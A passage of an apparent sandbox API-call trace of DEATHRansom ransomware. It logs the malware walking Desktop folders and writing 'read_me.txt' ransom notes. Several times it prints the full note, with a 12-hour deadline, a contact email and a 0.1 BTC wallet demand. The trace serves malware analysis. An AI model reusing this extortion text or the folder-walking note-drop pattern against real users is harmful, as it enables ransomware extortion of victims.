nFileSizeLow=0xb4f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wVQUzQ0iaLqLlHr.gif", cAlternateFileName="WVQUZQ~1.GIF")) returned 1 [0077.967] wnsprintfW (in: pszDest=0x42220c8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\wVQUzQ0iaLqLlHr.gif") returned 70 [0077.967] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x17ebb8 | out: lpFindFileData=0x17ebb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf91780f0, ftCreationTime.dwHighDateTime=0x1d4d22f, ftLastAccessTime.dwLowDateTime=0xc8955bf0, ftLastAccessTime.dwHighDateTime=0x1d4cb54, ftLastWriteTime.dwLowDateTime=0xc8955bf0, ftLastWriteTime.dwHighDateTime=0x1d4cb54, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zplfC7_zsJ", cAlternateFileName="ZPLFC7~1")) returned 1 [0077.967] wnsprintfW (in: pszDest=0x42220c8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\zplfC7_zsJ") returned 61 [0077.968] lstrcmpW (lpString1="zplfC7_zsJ", lpString2="..") returned 1 [0077.968] lstrcmpW (lpString1="zplfC7_zsJ", lpString2=".") returned 1 [0077.968] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42520e0 [0077.968] lstrcpyW (in: lpString1=0x42520e0, lpString2="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\zplfC7_zsJ" | out: lpString1="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\zplfC7_zsJ") returned="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\zplfC7_zsJ" [0077.968] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 44 [0077.968] QueueUserWorkItem (Function=0x40a710, Context=0x42520e0, Flags=0x0) returned 1 [0077.968] GetProcessHeap () returned 0x540000 [0077.968] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42620e8 [0077.969] wnsprintfW (in: pszDest=0x42620e8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\zplfC7_zsJ\\*") returned 63 [0077.969] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\zplfC7_zsJ\\*", lpFindFileData=0x17e940 | out: lpFindFileData=0x17e940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf91780f0, ftCreationTime.dwHighDateTime=0x1d4d22f, ftLastAccessTime.dwLowDateTime=0xc8955bf0, ftLastAccessTime.dwHighDateTime=0x1d4cb54, ftLastWriteTime.dwLowDateTime=0xc8955bf0, ftLastWriteTime.dwHighDateTime=0x1d4cb54, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc2c8 [0077.969] wnsprintfW (in: pszDest=0x42620e8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\zplfC7_zsJ\\.") returned 63 [0077.969] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0077.969] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.969] FindNextFileW (in: hFindFile=0x32fc2c8, lpFindFileData=0x17e940 | out: lpFindFileData=0x17e940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf91780f0, ftCreationTime.dwHighDateTime=0x1d4d22f, ftLastAccessTime.dwLowDateTime=0xc8955bf0, ftLastAccessTime.dwHighDateTime=0x1d4cb54, ftLastWriteTime.dwLowDateTime=0xc8955bf0, ftLastWriteTime.dwHighDateTime=0x1d4cb54, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0077.969] wnsprintfW (in: pszDest=0x42620e8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\zplfC7_zsJ\\..") returned 64 [0077.969] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.969] FindNextFileW (in: hFindFile=0x32fc2c8, lpFindFileData=0x17e940 | out: lpFindFileData=0x17e940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d9caf60, ftCreationTime.dwHighDateTime=0x1d4c9fc, ftLastAccessTime.dwLowDateTime=0xed95dc0, ftLastAccessTime.dwHighDateTime=0x1d4ce32, ftLastWriteTime.dwLowDateTime=0xed95dc0, ftLastWriteTime.dwHighDateTime=0x1d4ce32, nFileSizeHigh=0x0, nFileSizeLow=0x9747, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="8368UsnjEB_8S.avi", cAlternateFileName="8368US~1.AVI")) returned 1 [0077.969] wnsprintfW (in: pszDest=0x42620e8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\zplfC7_zsJ\\8368UsnjEB_8S.avi") returned 79 [0077.969] FindNextFileW (in: hFindFile=0x32fc2c8, lpFindFileData=0x17e940 | out: lpFindFileData=0x17e940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d9caf60, ftCreationTime.dwHighDateTime=0x1d4c9fc, ftLastAccessTime.dwLowDateTime=0xed95dc0, ftLastAccessTime.dwHighDateTime=0x1d4ce32, ftLastWriteTime.dwLowDateTime=0xed95dc0, ftLastWriteTime.dwHighDateTime=0x1d4ce32, nFileSizeHigh=0x0, nFileSizeLow=0x9747, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="8368UsnjEB_8S.avi", cAlternateFileName="8368US~1.AVI")) returned 0 [0077.969] FindClose (in: hFindFile=0x32fc2c8 | out: hFindFile=0x32fc2c8) returned 1 [0077.969] wnsprintfW (in: pszDest=0x42620e8, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\zplfC7_zsJ\\read_me.txt") returned 73 [0077.969] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\zplfC7_zsJ\\read_me.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p8ul_erv\\zplfc7_zsj\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7bc [0077.970] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0077.970] WriteFile (in: hFile=0x7bc, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17eba4, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17eba4*=0x6b3, lpOverlapped=0x0) returned 1 [0077.970] CloseHandle (hObject=0x7bc) returned 1 [0077.971] GetProcessHeap () returned 0x540000 [0077.971] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42620e8 | out: hHeap=0x540000) returned 1 [0077.971] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x17ebb8 | out: lpFindFileData=0x17ebb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5216e5c0, ftCreationTime.dwHighDateTime=0x1d4c62c, ftLastAccessTime.dwLowDateTime=0xc946e740, ftLastAccessTime.dwHighDateTime=0x1d4c536, ftLastWriteTime.dwLowDateTime=0xc946e740, ftLastWriteTime.dwHighDateTime=0x1d4c536, nFileSizeHigh=0x0, nFileSizeLow=0x14468, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="_tB9SFpbf7HeKc.gif", cAlternateFileName="_TB9SF~1.GIF")) returned 1 [0077.971] wnsprintfW (in: pszDest=0x42220c8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\_tB9SFpbf7HeKc.gif") returned 69 [0077.971] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x17ebb8 | out: lpFindFileData=0x17ebb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5216e5c0, ftCreationTime.dwHighDateTime=0x1d4c62c, ftLastAccessTime.dwLowDateTime=0xc946e740, ftLastAccessTime.dwHighDateTime=0x1d4c536, ftLastWriteTime.dwLowDateTime=0xc946e740, ftLastWriteTime.dwHighDateTime=0x1d4c536, nFileSizeHigh=0x0, nFileSizeLow=0x14468, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="_tB9SFpbf7HeKc.gif", cAlternateFileName="_TB9SF~1.GIF")) returned 0 [0077.971] FindClose (in: hFindFile=0x32fc288 | out: hFindFile=0x32fc288) returned 1 [0077.971] wnsprintfW (in: pszDest=0x42220c8, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\read_me.txt") returned 62 [0077.971] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\read_me.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p8ul_erv\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a8 [0077.972] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0077.972] WriteFile (in: hFile=0x7a8, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17ee1c, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17ee1c*=0x6b3, lpOverlapped=0x0) returned 1 [0077.972] CloseHandle (hObject=0x7a8) returned 1 [0077.973] GetProcessHeap () returned 0x540000 [0077.973] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42220c8 | out: hHeap=0x540000) returned 1 [0077.973] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccd9be90, ftCreationTime.dwHighDateTime=0x1d4c681, ftLastAccessTime.dwLowDateTime=0x77d78ae0, ftLastAccessTime.dwHighDateTime=0x1d4d33c, ftLastWriteTime.dwLowDateTime=0x77d78ae0, ftLastWriteTime.dwHighDateTime=0x1d4d33c, nFileSizeHigh=0x0, nFileSizeLow=0xc282, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pnye5nZ9l4wV-tQ3X.doc", cAlternateFileName="PNYE5N~1.DOC")) returned 1 [0077.973] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pnye5nZ9l4wV-tQ3X.doc") returned 63 [0077.973] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a56700, ftCreationTime.dwHighDateTime=0x1d4c874, ftLastAccessTime.dwLowDateTime=0xd372b350, ftLastAccessTime.dwHighDateTime=0x1d4cf06, ftLastWriteTime.dwLowDateTime=0xd372b350, ftLastWriteTime.dwHighDateTime=0x1d4cf06, nFileSizeHigh=0x0, nFileSizeLow=0x8954, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PsSqQXPorJBb9V0MC2R.m4a", cAlternateFileName="PSSQQX~1.M4A")) returned 1 [0077.973] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PsSqQXPorJBb9V0MC2R.m4a") returned 65 [0077.973] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a06a9b0, ftCreationTime.dwHighDateTime=0x1d4d51a, ftLastAccessTime.dwLowDateTime=0xbf9e4d90, ftLastAccessTime.dwHighDateTime=0x1d4cc80, ftLastWriteTime.dwLowDateTime=0xbf9e4d90, ftLastWriteTime.dwHighDateTime=0x1d4cc80, nFileSizeHigh=0x0, nFileSizeLow=0x66b6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="qSRoVfo.png", cAlternateFileName="")) returned 1 [0077.973] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qSRoVfo.png") returned 53 [0077.973] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78dfe370, ftCreationTime.dwHighDateTime=0x1d4ceb8, ftLastAccessTime.dwLowDateTime=0xddac1530, ftLastAccessTime.dwHighDateTime=0x1d4d34a, ftLastWriteTime.dwLowDateTime=0xddac1530, ftLastWriteTime.dwHighDateTime=0x1d4d34a, nFileSizeHigh=0x0, nFileSizeLow=0x7dd2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="QzPrIBJASF9Cr5iAba.m4a", cAlternateFileName="QZPRIB~1.M4A")) returned 1 [0077.973] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QzPrIBJASF9Cr5iAba.m4a") returned 64 [0077.973] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e0f01c0, ftCreationTime.dwHighDateTime=0x1d4c531, ftLastAccessTime.dwLowDateTime=0x3cbae3b0, ftLastAccessTime.dwHighDateTime=0x1d4d24e, ftLastWriteTime.dwLowDateTime=0x3cbae3b0, ftLastWriteTime.dwHighDateTime=0x1d4d24e, nFileSizeHigh=0x0, nFileSizeLow=0x13b56, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rO8ki1jv-RPugrU.m4a", cAlternateFileName="RO8KI1~1.M4A")) returned 1 [0077.973] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rO8ki1jv-RPugrU.m4a") returned 61 [0077.973] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b8d9550, ftCreationTime.dwHighDateTime=0x1d4c976, ftLastAccessTime.dwLowDateTime=0x9a962b70, ftLastAccessTime.dwHighDateTime=0x1d4c5f1, ftLastWriteTime.dwLowDateTime=0x9a962b70, ftLastWriteTime.dwHighDateTime=0x1d4c5f1, nFileSizeHigh=0x0, nFileSizeLow=0x12447, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="S7I6SDUlKGsonua.jpg", cAlternateFileName="S7I6SD~1.JPG")) returned 1 [0077.973] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\S7I6SDUlKGsonua.jpg") returned 61 [0077.973] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17638ee0, ftCreationTime.dwHighDateTime=0x1d4d3bc, ftLastAccessTime.dwLowDateTime=0x22f4200, ftLastAccessTime.dwHighDateTime=0x1d4cf28, ftLastWriteTime.dwLowDateTime=0x22f4200, ftLastWriteTime.dwHighDateTime=0x1d4cf28, nFileSizeHigh=0x0, nFileSizeLow=0x179aa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="uB8rE9MrCBxht_FVzzuD.jpg", cAlternateFileName="UB8RE9~1.JPG")) returned 1 [0077.973] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uB8rE9MrCBxht_FVzzuD.jpg") returned 66 [0077.973] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ee4f160, ftCreationTime.dwHighDateTime=0x1d4d2b0, ftLastAccessTime.dwLowDateTime=0xe591c0f0, ftLastAccessTime.dwHighDateTime=0x1d4ccf7, ftLastWriteTime.dwLowDateTime=0xe591c0f0, ftLastWriteTime.dwHighDateTime=0x1d4ccf7, nFileSizeHigh=0x0, nFileSizeLow=0x10c83, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UxB8lMaNHD.m4a", cAlternateFileName="UXB8LM~1.M4A")) returned 1 [0077.973] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UxB8lMaNHD.m4a") returned 56 [0077.973] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3d8f080, ftCreationTime.dwHighDateTime=0x1d59fdc, ftLastAccessTime.dwLowDateTime=0xf3d8f080, ftLastAccessTime.dwHighDateTime=0x1d59fdc, ftLastWriteTime.dwLowDateTime=0xf20f2d00, ftLastWriteTime.dwHighDateTime=0x1d59fdc, nFileSizeHigh=0x0, nFileSizeLow=0x49400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Wacatac_2019-11-20_00-10.exe", cAlternateFileName="WACATA~1.EXE")) returned 1 [0077.973] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Wacatac_2019-11-20_00-10.exe") returned 70 [0077.973] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c3ff810, ftCreationTime.dwHighDateTime=0x1d4d00f, ftLastAccessTime.dwLowDateTime=0x68354df0, ftLastAccessTime.dwHighDateTime=0x1d4c9e3, ftLastWriteTime.dwLowDateTime=0x68354df0, ftLastWriteTime.dwHighDateTime=0x1d4c9e3, nFileSizeHigh=0x0, nFileSizeLow=0x5409, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="XMm2w2ACbzw.pps", cAlternateFileName="XMM2W2~1.PPS")) returned 1 [0077.973] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XMm2w2ACbzw.pps") returned 57 [0077.973] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5edacd40, ftCreationTime.dwHighDateTime=0x1d4cc98, ftLastAccessTime.dwLowDateTime=0x177463f0, ftLastAccessTime.dwHighDateTime=0x1d4d0ec, ftLastWriteTime.dwLowDateTime=0x177463f0, ftLastWriteTime.dwHighDateTime=0x1d4d0ec, nFileSizeHigh=0x0, nFileSizeLow=0x13191, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="YihTtz59EUrV.mkv", cAlternateFileName="YIHTTZ~1.MKV")) returned 1 [0077.973] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YihTtz59EUrV.mkv") returned 58 [0077.973] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7cf46f0, ftCreationTime.dwHighDateTime=0x1d4ccf4, ftLastAccessTime.dwLowDateTime=0x4fea7e0, ftLastAccessTime.dwHighDateTime=0x1d4cb05, ftLastWriteTime.dwLowDateTime=0x4fea7e0, ftLastWriteTime.dwHighDateTime=0x1d4cb05, nFileSizeHigh=0x0, nFileSizeLow=0xe165, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zYvHJFQdfcMoo.mkv", cAlternateFileName="ZYVHJF~1.MKV")) returned 1 [0077.973] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zYvHJFQdfcMoo.mkv") returned 59 [0077.973] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x659d4570, ftCreationTime.dwHighDateTime=0x1d4cd3a, ftLastAccessTime.dwLowDateTime=0x85073950, ftLastAccessTime.dwHighDateTime=0x1d4ca4e, ftLastWriteTime.dwLowDateTime=0x85073950, ftLastWriteTime.dwHighDateTime=0x1d4ca4e, nFileSizeHigh=0x0, nFileSizeLow=0xe1d2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="_5MHU T p.jpg", cAlternateFileName="_5MHUT~1.JPG")) returned 1 [0077.973] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_5MHU T p.jpg") returned 55 [0077.973] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x659d4570, ftCreationTime.dwHighDateTime=0x1d4cd3a, ftLastAccessTime.dwLowDateTime=0x85073950, ftLastAccessTime.dwHighDateTime=0x1d4ca4e, ftLastWriteTime.dwLowDateTime=0x85073950, ftLastWriteTime.dwHighDateTime=0x1d4ca4e, nFileSizeHigh=0x0, nFileSizeLow=0xe1d2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="_5MHU T p.jpg", cAlternateFileName="_5MHUT~1.JPG")) returned 0 [0077.974] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0077.974] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\read_me.txt") returned 53 [0077.974] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\read_me.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a4 [0077.974] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 